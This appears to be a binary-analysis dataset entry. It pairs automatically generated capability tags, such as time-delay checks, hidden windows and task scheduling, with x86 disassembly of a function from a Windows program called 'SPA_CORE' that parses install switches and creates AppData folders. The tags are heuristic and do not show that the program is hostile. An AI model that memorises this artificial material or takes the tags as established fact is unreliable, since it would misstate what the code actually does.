Function at 0x437640
Capabilities:
Check for time delay via gettickcount
Create directory
Create process on windows
Create thread
Get common file path
Get geographical location
Get program files directory
Hide graphical window
Print debug messages
Schedule task via schtasks
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4f49cc
mov eax, dword fs:[0]
push eax
sub esp, 0xa30
mov eax, dword [0x52c018]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov edi, dword [ebp + 8]
mov esi, dword [ebp + 0x10]
mov dword [ebp - 0x9e0], edi
call fcn.00436930
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x4376a8
push str.QueryFullProcessImageNameW
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x5335e0], eax
mov eax, dword [0x533960]
mov dword [ebp - 0x9f0], 8
mov dword [ebp - 0x9ec], 0x43ff
lea edx, [eax + 0x174]
lea ecx, [eax + 0x18c]
cmp ecx, edx
je 0x4376e4
cmp dword [edx + 0x14], 0x10
mov eax, edx
jb 0x4376db
mov eax, dword [edx]
push dword [edx + 0x10]
push eax
call fcn.00408530
mov dword [ebp - 0x9cc], 0
mov dword [ebp - 0x9c8], 0xf
mov byte [ebp - 0x9dc], 0
mov ecx, esi
mov dword [ebp - 4], 0
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x437710
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0x9dc]
call fcn.00408530
mov edx, 0x512695
lea ecx, [ebp - 0x9dc]
call fcn.00409510
test al, al
jne 0x437a47
sub esp, 8
lea eax, [ebp - 0x9dc]
lea ecx, [ebp - 0x1ac]
push eax
call fcn.00439a30
mov dword [ebp - 0x90c], 0
mov dword [ebp - 0x908], 0xf
mov byte [ebp - 0x91c], 0
push 0x20
lea edx, [ebp - 0x91c]
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x1ac]
call fcn.00447630
add esp, 4
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
test byte [ecx + eax + 0xc], 6
jne 0x43798f
nop dword [eax + eax]
mov edi, dword [ebp - 0x908]
lea ecx, [ebp - 0x91c]
mov esi, dword [ebp - 0x91c]
cmp edi, 0x10
mov eax, dword [ebp - 0x90c]
cmovae ecx, esi
cmp eax, 0xa
jne 0x437821
mov edx, str._uninstall
lea esi, [eax - 4]
nop dword [eax + eax]
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x4377e1
add ecx, 4
add edx, 4
sub esi, 4
jae 0x4377d0
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x437808
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x437808
cmp esi, 0xfffffffe
je 0x437804
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x437808
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
jne 0x437808
xor eax, eax
jmp 0x43780d
sbb eax, eax
or eax, 1
test eax, eax
je 0x43921a
mov esi, dword [ebp - 0x91c]
mov eax, dword [ebp - 0x90c]
cmp edi, 0x10
lea ecx, [ebp - 0x91c]
cmovae ecx, esi
cmp eax, 7
jne 0x437895
mov eax, dword [ecx]
mov edx, str._remove
mov dword [ebp - 0x9e4], 3
cmp eax, dword [edx]
jne 0x437857
add ecx, 4
mov dword [ebp - 0x9e4], 0xffffffff
add edx, 4
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x437882
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x437882
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x437882
cmp dword [ebp - 0x9e4], 0xffffffff
je 0x43787e
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
jne 0x437882
xor eax, eax
jmp 0x437887
sbb eax, eax
or eax, 1
test eax, eax
je 0x43921a
mov eax, dword [ebp - 0x90c]
cmp edi, 0x10
lea ecx, [ebp - 0x91c]
cmovae ecx, esi
cmp eax, 6
jne 0x437905
mov eax, dword [ecx]
mov edx, str._reset
mov dword [ebp - 0x9e4], 2
cmp eax, dword [edx]
jne 0x4378cb
add ecx, 4
mov dword [ebp - 0x9e4], 0xfffffffe
add edx, 4
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x4378f6
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x4378f6
cmp dword [ebp - 0x9e4], 0xfffffffe
je 0x4378f2
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x4378f6
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
jne 0x4378f6
xor eax, eax
jmp 0x4378fb
sbb eax, eax
or eax, 1
test eax, eax
je 0x43795e
mov eax, dword [ebp - 0x90c]
cmp edi, 0x10
lea ecx, [ebp - 0x91c]
cmovae ecx, esi
cmp eax, 8
jne 0x437963
mov edx, str._roaming
lea esi, [eax - 4]
nop
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x437935
add ecx, 4
add edx, 4
sub esi, 4
jae 0x437920
xor eax, eax
jmp 0x43795a
cmp al, byte [edx]
jne 0x437955
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x437955
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x437955
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
jne 0x437955
xor eax, eax
jmp 0x43795a
sbb eax, eax
or eax, 1
test eax, eax
jne 0x437963
call fcn.00404810
push 0x20
lea edx, [ebp - 0x91c]
lea ecx, [ebp - 0x1ac]
call fcn.00447630
add esp, 4
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
test byte [ecx + eax + 0xc], 6
je 0x4377a0
mov edi, dword [ebp - 0x9e0]
mov byte [ebp - 4], 1
mov edx, dword [ebp - 0x908]
cmp edx, 0x10
jb 0x4379cd
mov ecx, dword [ebp - 0x91c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4379c3
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x439215
push edx
push ecx
call fcn.004748b1
add esp, 8
mov eax, dword [ebp - 0x1ac]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_istringstream_char__struct_std::char_traits_char___class_std::allocator_char__.virtual_0], vtable.std::basic_istringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov eax, dword [ebp - 0x1ac]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x60]
mov dword [ebp + ecx - 0x1b0], eax
lea ecx, [ebp - 0x19c]
call fcn.00439960
mov eax, dword [ebp - 0x1ac]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_istream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x1ac]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x18]
mov dword [ebp + ecx - 0x1b0], eax
lea eax, [ebp - 0x14c]
mov byte [ebp - 4], 3
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.00461837
add esp, 4
mov byte [ebp - 4], 0
lea eax, [ebp - 0x9f0]
push eax
call dword [sym.imp.COMCTL32.dll_InitCommonControlsEx]
push 0
push str.SPA_CORE
call dword [sym.imp.USER32.dll_FindWindowA]
push 0
test eax, eax
jne 0x439272
push 0x10
push 0x4131e0
push 0x533150
call dword [sym.imp.USER32.dll_DdeInitializeA]
mov esi, dword [sym.imp.USER32.dll_LoadIconA]
push 0x6b
push edi
mov dword [ebp - 0xa20], 0x30
mov dword [ebp - 0xa1c], 3
mov dword [ebp - 0xa18], 0x435990
mov dword [ebp - 0xa14], 0
mov dword [ebp - 0xa10], 0
mov dword [ebp - 0xa0c], edi
call esi
push 0x7f00
push 0
mov dword [ebp - 0xa08], eax
call dword [sym.imp.USER32.dll_LoadCursorA]
push 0x6b
push dword [ebp - 0xa0c]
mov dword [ebp - 0xa04], eax
mov dword [ebp - 0xa00], 6
mov dword [ebp - 0x9fc], 0
mov dword [ebp - 0x9f8], str.SPA_CORE
call esi
mov dword [ebp - 0x9f4], eax
lea eax, [ebp - 0xa20]
push eax
call dword [sym.imp.USER32.dll_RegisterClassExA]
mov esi, dword [sym.imp.GDI32.dll_CreateSolidBrush]
push 0xffffff
mov dword [0x531530], edi
call esi
push 0xb99d7f
mov dword [0x532394], eax
call esi
push 0
push edi
push 0
push 0
push 0x96
push 0x12c
push 0
push SysReAllocString
push 0xcf0000
push str.SPA_CORE
push str.SPA_CORE
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov dword [0x53239c], eax
test eax, eax
jne 0x437b91
mov eax, dword [0x533960]
add eax, 0xb4
cmp dword [eax + 0x14], 0x10
jb 0x437b7d
mov eax, dword [eax]
mov esi, dword [sym.imp.USER32.dll_MessageBoxA]
push 0
push eax
push str.S.P.A:_Erro_ao_criar_a_janela_principal
push 0
call esi
jmp 0x437b97
mov esi, dword [sym.imp.USER32.dll_MessageBoxA]
push str.TaskbarCreated
call dword [sym.imp.USER32.dll_RegisterWindowMessageA]
mov dword [0x532338], eax
test eax, eax
jne 0x437bc9
mov eax, dword [0x533960]
add eax, 0xb4
cmp dword [eax + 0x14], 0x10
jb 0x437bbd
mov eax, dword [eax]
push 0
push eax
push str.S.P.A:_N
push 0
call esi
push 0
push dword [0x53239c]
call dword [sym.imp.USER32.dll_ShowWindow]
push dword [0x53239c]
call dword [sym.imp.USER32.dll_UpdateWindow]
mov edx, dword [0x533960]
cmp dword [edx + 0x2c], 0x10
lea ecx, [edx + 0x18]
jb 0x437bf5
mov ecx, dword [edx + 0x18]
cmp dword [edx + 0x28], 1
jne 0x437c2a
movzx eax, byte [ecx]
cmp al, 0x53
jne 0x437c06
xor eax, eax
jmp 0x437c0b
sbb eax, eax
or eax, 1
test eax, eax
jne 0x437c2a
push 4
lea ecx, [edx + 0x30]
push str._dev
call fcn.00408530
mov eax, dword [0x533960]
mov byte [eax + 0x3e9], 1
call fcn.00405690
push 0x800
lea eax, [ebp - 0x904]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x904]
mov dword [ebp - 0x90c], 0
mov dword [ebp - 0x908], 0xf
lea edx, [ecx + 1]
mov byte [ebp - 0x91c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x437c67
sub ecx, edx
lea eax, [ebp - 0x904]
push ecx
push eax
lea ecx, [ebp - 0x91c]
call fcn.00408530
mov byte [ebp - 4], 4
lea edx, [ebp - 0x91c]
mov edi, dword [ebp - 0x908]
cmp edi, 0x10
mov esi, dword [ebp - 0x90c]
cmovae edx, dword [ebp - 0x91c]
test esi, esi
je 0x437cce
or ecx, 0xffffffff
lea eax, [esi - 1]
cmp eax, ecx
cmovb ecx, eax
add ecx, edx
cmp byte [ecx], 0x5c
je 0x437cca
nop dword [eax]
cmp ecx, edx
je 0x437cce
dec ecx
cmp byte [ecx], 0x5c
jne 0x437cc0
sub ecx, edx
jmp 0x437cd1
or ecx, 0xffffffff
inc ecx
mov dword [ebp - 0x93c], 0
cmp esi, ecx
mov dword [ebp - 0x938], 0xf
lea eax, [ebp - 0x91c]
mov byte [ebp - 0x94c], 0
cmovb ecx, esi
cmp edi, 0x10
push ecx
cmovae eax, dword [ebp - 0x91c]
lea ecx, [ebp - 0x94c]
push eax
call fcn.00408530
mov byte [ebp - 4], 0
mov edx, dword [ebp - 0x908]
cmp edx, 0x10
jb 0x437d4d
mov ecx, dword [ebp - 0x91c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x437d43
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x439277
push edx
push ecx
call fcn.004748b1
add esp, 8
mov ecx, dword [0x533960]
lea eax, [ebp - 0x94c]
push eax
mov dword [ebp - 0x90c], 0
mov dword [ebp - 0x908], 0xf
lea ecx, [ecx + 0x4a0]
mov byte [ebp - 0x91c], 0
call fcn.004079e0
mov edx, dword [ebp - 0x938]
cmp edx, 0x10
jb 0x437dba
mov ecx, dword [ebp - 0x94c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x437db0
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x439290
push edx
push ecx
call fcn.004748b1
add esp, 8
push 0
call fcn.004ce4f6
push eax
call fcn.004d9233
add esp, 8
call fcn.004d9212
cdq
mov ecx, 0x1e
idiv ecx
mov esi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push str._nRAND_
lea edi, [edx + 1]
mov dword [ebp - 0x9e0], edi
call esi
mov edx, edi
lea ecx, [ebp - 0x94c]
call fcn.00401e10
cmp dword [eax + 0x14], 0x10
jb 0x437e02
mov eax, dword [eax]
push eax
call esi
mov edx, dword [ebp - 0x938]
cmp edx, 0x10
jb 0x437e3f
mov ecx, dword [ebp - 0x94c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x437e35
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43927c
push edx
push ecx
call fcn.004748b1
add esp, 8
push 0x51a464
call esi
lea eax, [edi + 5]
imul eax, eax, 0xea60
push 0x415160
push eax
push 0
push 0
call dword [sym.imp.USER32.dll_SetTimer]
mov edi, dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
push 0x533158
push 0
push 0
push 0x26
push 0
call edi
mov esi, dword [sym.imp.SHLWAPI.dll_PathAppendA]
test eax, eax
js 0x437e8a
push 0x512c28
push 0x533158
call esi
push 0x5335e8
push 0
push 0
push 0x1a
push 0
call edi
test eax, eax
js 0x437eab
push 0x512c28
push 0x5335e8
call esi
jmp 0x437eb2
mov byte [0x5335e8], 0
push str.spa_
push 0x5335e8
call esi
mov edi, dword [sym.imp.SHELL32.dll_SHCreateDirectoryExA]
push 0
push 0x5335e8
push 0
call edi
mov ecx, 0x5335e8
mov dword [ebp - 0x99c], 0
mov dword [ebp - 0x998], 0xf
mov byte [ebp - 0x9ac], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x437ef2
sub ecx, edx
push ecx
push 0x5335e8
lea ecx, [ebp - 0x9ac]
call fcn.00408530
push str.img_
lea ecx, [ebp - 0x9ac]
mov byte [ebp - 4], 5
call fcn.004078c0
cmp dword [ebp - 0x998], 0x10
lea eax, [ebp - 0x9ac]
push 0
cmovae eax, dword [ebp - 0x9ac]
push eax
push 0
call edi
mov ecx, 0x5335e8
mov dword [ebp - 0x984], 0
mov dword [ebp - 0x980], 0xf
mov byte [ebp - 0x994], 0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x437f60
sub ecx, edx
push ecx
push 0x5335e8
lea ecx, [ebp - 0x994]
call fcn.00408530
push str..logs_
lea ecx, [ebp - 0x994]
mov byte [ebp - 4], 6
call fcn.004078c0
cmp dword [ebp - 0x980], 0x10
lea eax, [ebp - 0x994]
push 0
cmovae eax, dword [ebp - 0x994]
push eax
push 0
call edi
mov ecx, 0x5335e8
mov dword [ebp - 0x954], 0
mov dword [ebp - 0x950], 0xf
mov byte [ebp - 0x964], 0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x437fd0
sub ecx, edx
push ecx
push 0x5335e8
lea ecx, [ebp - 0x964]
call fcn.00408530
push str..cache_
lea ecx, [ebp - 0x964]
mov byte [ebp - 4], 7
call fcn.004078c0
cmp dword [ebp - 0x950], 0x10
lea eax, [ebp - 0x964]
push 0
cmovae eax, dword [ebp - 0x964]
push eax
push 0
call edi
lea eax, [ebp - 0x964]
push eax
lea ecx, [ebp - 0x9c4]
call fcn.00407ac0
push str..trash_
lea ecx, [ebp - 0x9c4]
mov byte [ebp - 4], 8
call fcn.004078c0
cmp dword [ebp - 0x9b0], 0x10
lea eax, [ebp - 0x9c4]
push 0
cmovae eax, dword [ebp - 0x9c4]
push eax
push 0
call edi
mov ecx, 0x5335e8
mov dword [ebp - 0x96c], 0
mov dword [ebp - 0x968], 0xf
mov byte [ebp - 0x97c], 0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x438080
sub ecx, edx
push ecx
push 0x5335e8
lea ecx, [ebp - 0x97c]
call fcn.00408530
push str..tmp_
lea ecx, [ebp - 0x97c]
mov byte [ebp - 4], 9
call fcn.004078c0
cmp dword [ebp - 0x968], 0x10
lea eax, [ebp - 0x97c]
push 0
cmovae eax, dword [ebp - 0x97c]
push eax
push 0
call edi
xor ecx, ecx
nop dword [eax + eax]
mov al, byte [ecx + 0x5335e8]
lea ecx, [ecx + 1]
mov byte [ecx + 0x5333cf], al
test al, al
jne 0x4380d0
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ecx + 0x5335e8]
lea ecx, [ecx + 1]
mov byte [ecx + 0x5334d7], al
test al, al
jne 0x4380f0
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ecx + 0x5335e8]
lea ecx, [ecx + 1]
mov byte [ecx + 0x53325f], al
test al, al
jne 0x438110
push str.db.SPA
push 0x5333d0
call esi
push str.db_BACKUP.SPA
push 0x5334d8
call esi
push str.db_TEMP.SPA
push 0x533260
call esi
mov esi, dword [sym.imp.KERNEL32.dll_GetLocalTime]
lea eax, [ebp - 0x914]
push eax
call esi
movzx ecx, word [ebp - 0x914]
movzx eax, word [ebp - 0x912]
sub ecx, 0x7d0
shl ecx, 4
add ecx, eax
movzx eax, word [ebp - 0x90e]
shl ecx, 5
add ecx, eax
lea eax, [ebp - 0x914]
push eax
mov dword [0x533364], ecx
call esi
movzx ecx, word [ebp - 0x914]
mov edx, 0x5333d0
movzx eax, word [ebp - 0x912]
sub ecx, 0x7d0
shl ecx, 4
add ecx, eax
movzx eax, word [ebp - 0x90e]
shl ecx, 5
add ecx, eax
mov dword [0x53325c], ecx
mov ecx, dword [0x533964]
push 0
call fcn.00412d80
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
add esp, 4
call esi
mov dword [0x5335dc], eax
call esi
mov esi, dword [0x533960]
mov edi, 0x512695
cmp dword [esi + 0x60], 0
jle 0x438433
lea ecx, [esi + 0xcc]
mov edx, edi
call fcn.00409510
test al, al
jne 0x438433
lea ecx, [esi + 0xe4]
mov edx, edi
call fcn.00409510
test al, al
jne 0x438433
lea ecx, [esi + 0x114]
mov edx, edi
call fcn.00409510
test al, al
jne 0x438433
sub esp, 0x18
mov ecx, esp
push 7
push str.poweron
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov byte [ecx], al
call fcn.00408530
call fcn.00430bc0
mov ecx, esp
mov dword [ebp - 0x9e4], esp
push 0xc
push str.Iniciando...
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov byte [ecx], 0
call fcn.00408530
sub esp, 0x18
mov byte [ebp - 4], 0xa
mov ecx, esp
push 3
push 0x51a17c
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov byte [ecx], 0
call fcn.00408530
mov byte [ebp - 4], 9
call fcn.004109f0
mov edx, dword [ebp - 0x9e0]
lea ecx, [ebp - 0x94c]
add esp, 0x30
add edx, 5
call fcn.00401e10
push 0x17
push str.SET_callCheckUpdate_to
push ecx
mov ecx, eax
mov byte [ebp - 4], 0xb
call fcn.0040a320
mov dword [ebp - 0x90c], 0
mov dword [ebp - 0x908], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x91c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x90c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
sub esp, 0x18
mov byte [ebp - 4], 0xc
mov esi, esp
mov dword [ebp - 0x9e8], esp
lea ecx, [ebp - 0x91c]
mov dword [ebp - 0x9e0], esi
push str._minutos
call fcn.004078c0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
movups xmm0, xmmword [eax]
movups xmmword [esi], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [esi + 0x10], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
sub esp, 0x18
mov byte [ebp - 4], 0xd
mov ecx, esp
push 3
push 0x517f54
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov byte [ecx], 0
call fcn.00408530
mov byte [ebp - 4], 0xc
call fcn.004109f0
add esp, 0x30
mov byte [ebp - 4], 0xb
mov edx, dword [ebp - 0x908]
cmp edx, 0x10
jb 0x4383d1
mov ecx, dword [ebp - 0x91c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4383c7
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x439281
push edx
push ecx
call fcn.004748b1
add esp, 8
mov byte [ebp - 4], 9
mov edx, dword [ebp - 0x938]
mov dword [ebp - 0x90c], 0
mov dword [ebp - 0x908], 0xf
mov byte [ebp - 0x91c], 0
cmp edx, 0x10
jb 0x438839
mov ecx, dword [ebp - 0x94c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x438424
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x439281
push edx
push ecx
call fcn.004748b1
add esp, 8
jmp 0x438839
mov edx, edi
lea ecx, [ebp - 0x9dc]
call fcn.00409510
test al, al
jne 0x438832
or eax, 0xffffffff
lea ecx, [ebp - 0x1ac]
sub esp, 8
mov dword [ebp - 0x9e4], eax
lea eax, [ebp - 0x9dc]
push eax
call fcn.00439a30
mov dword [ebp - 0x90c], 0
mov dword [ebp - 0x908], 0xf
mov byte [ebp - 0x91c], 0
push 0x20
lea edx, [ebp - 0x91c]
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x1ac]
call fcn.00447630
add esp, 4
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
test byte [ecx + eax + 0xc], 6
jne 0x438774
nop dword [eax + eax]
mov esi, dword [ebp - 0x908]
lea ecx, [ebp - 0x91c]
cmp esi, 0x10
cmovae ecx, dword [ebp - 0x91c]
cmp dword [ebp - 0x90c], 7
jne 0x43852d
mov eax, dword [ecx]
mov edx, str._domain
mov edi, 3
cmp eax, dword [edx]
jne 0x4384e8
add ecx, 4
add edx, 4
or edi, 0xffffffff
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x43850f
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x43850f
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x43850f
cmp edi, 0xffffffff
je 0x43850b
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
jne 0x43850f
xor eax, eax
jmp 0x438514
sbb eax, eax
or eax, 1
test eax, eax
jne 0x43852d
mov edi, dword [0x533960]
mov dword [ebp - 0x9e4], eax
mov byte [edi + 0x4c2], 1
jmp 0x438533
mov edi, dword [0x533960]
mov edx, dword [ebp - 0x91c]
lea ecx, [ebp - 0x91c]
cmp esi, 0x10
cmovae ecx, edx
cmp dword [ebp - 0x90c], 8
jne 0x4385b8
mov edx, str._roaming
mov esi, 4
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x43856d
add ecx, 4
add edx, 4
sub esi, 4
jae 0x438558
xor eax, eax
jmp 0x438592
cmp al, byte [edx]
jne 0x43858d
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x43858d
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x43858d
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
jne 0x43858d
xor eax, eax
jmp 0x438592
sbb eax, eax
or eax, 1
test eax, eax
jne 0x4385ac
mov byte [edi + 0x4c3], 1
call fcn.00404810
xor eax, eax
mov dword [ebp - 0x9e4], eax
jmp 0x4385ff
mov esi, dword [ebp - 0x908]
mov edx, dword [ebp - 0x91c]
mov eax, dword [ebp - 0x9e4]
cmp eax, 1
jne 0x4385cb
lea ecx, [edi + 0xcc]
jmp 0x4385e3
cmp eax, 2
jne 0x4385d8
lea ecx, [edi + 0xe4]
jmp 0x4385e3
cmp eax, 3
jne 0x438605
lea ecx, [edi + 0xfc]
lea eax, [ebp - 0x91c]
cmp ecx, eax
je 0x438605
push dword [ebp - 0x90c]
cmp esi, 0x10
cmovae eax, edx
push eax
call fcn.00408530
mov edi, dword [0x533960]
mov esi, dword [ebp - 0x908]
lea ecx, [ebp - 0x91c]
mov eax, dword [ebp - 0x91c]
cmp esi, 0x10
cmovae ecx, eax
cmp dword [ebp - 0x90c], 6
jne 0x43868c
mov eax, dword [ecx]
mov edx, str._quiet
mov dword [ebp - 0x9e0], 2
cmp eax, dword [edx]
jne 0x43864b
add ecx, 4
mov dword [ebp - 0x9e0], 0xfffffffe
add edx, 4
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x438676
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x438676
cmp dword [ebp - 0x9e0], 0xfffffffe
je 0x438672
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x438676
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
jne 0x438676
xor eax, eax
jmp 0x43867b
sbb eax, eax
or eax, 1
test eax, eax
mov eax, dword [ebp - 0x91c]
jne 0x43868c
mov byte [edi + 0x4c5], 1
cmp esi, 0x10
lea ecx, [ebp - 0x91c]
cmovae ecx, eax
cmp dword [ebp - 0x90c], 4
jne 0x4386dc
mov eax, dword [ecx]
mov edx, str._md5
cmp eax, dword [edx]
je 0x4386c8
cmp al, byte [edx]
jne 0x4386cc
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x4386cc
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x4386cc
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
jne 0x4386cc
xor eax, eax
jmp 0x4386d1
sbb eax, eax
or eax, 1
test eax, eax
jne 0x4386dc
mov byte [edi + 0x4c6], 1
cmp esi, 0x10
lea ecx, [ebp - 0x91c]
cmovae ecx, dword [ebp - 0x91c]
cmp dword [ebp - 0x90c], 0xe
jne 0x438748
mov edx, str._checkregister
mov esi, 0xa
nop
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x438711
add ecx, 4
add edx, 4
sub esi, 4
jae 0x438700
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x438738
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x438738
cmp esi, 0xfffffffe
je 0x438734
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x438738
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
jne 0x438738
xor eax, eax
jmp 0x43873d
sbb eax, eax
or eax, 1
test eax, eax
jne 0x438748
mov byte [edi + 0x4c4], 1
inc dword [ebp - 0x9e4]
lea edx, [ebp - 0x91c]
push 0x20
lea ecx, [ebp - 0x1ac]
call fcn.00447630
add esp, 4
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
test byte [ecx + eax + 0xc], 6
je 0x4384b0
mov byte [ebp - 4], 0xe
mov edx, dword [ebp - 0x908]
cmp edx, 0x10
jb 0x4387b2
mov ecx, dword [ebp - 0x91c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4387a8
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x439286
push edx
push ecx
call fcn.004748b1
add esp, 8
mov eax, dword [ebp - 0x1ac]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_istringstream_char__struct_std::char_traits_char___class_std::allocator_char__.virtual_0], vtable.std::basic_istringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov eax, dword [ebp - 0x1ac]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x60]
mov dword [ebp + ecx - 0x1b0], eax
lea ecx, [ebp - 0x19c]
call fcn.00439960
mov eax, dword [ebp - 0x1ac]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_istream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x1ac]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x18]
mov dword [ebp + ecx - 0x1b0], eax
lea eax, [ebp - 0x14c]
mov byte [ebp - 4], 0x10
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.00461837
mov byte [ebp - 4], 9
add esp, 4
mov esi, dword [0x533960]
mov byte [esi + 0x3e8], 1
sub esp, 0x18
mov ecx, esp
push 7
push str.runonly
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov byte [ecx], 0
call fcn.00408530
call fcn.004049b0
add esp, 0x18
call fcn.00436d70
test eax, eax
je 0x43887f
mov eax, dword [0x533960]
mov byte [eax + 0x4c3], 1
mov byte [eax + 0x3e8], 0
mov esi, dword [sym.imp.USER32.dll_SetTimer]
push 0x41b410
push 0x3e8
push 0
push 0
call esi
push 0x419900
push 0xea60
push 0x65
push dword [0x53239c]
call esi
push 0x419570
push 0xea60
push 0
push 0
call esi
push 0x419550
push 0x3e8
push 0
push 0
call esi
push 0x41eb10
push 0x3e8
push 0
push 0
call esi
push 0x419140
push 0xbb8
push 0
push 0
call esi
push 0x419400
push 0x61a8
push 0x64
push dword [0x53239c]
call esi
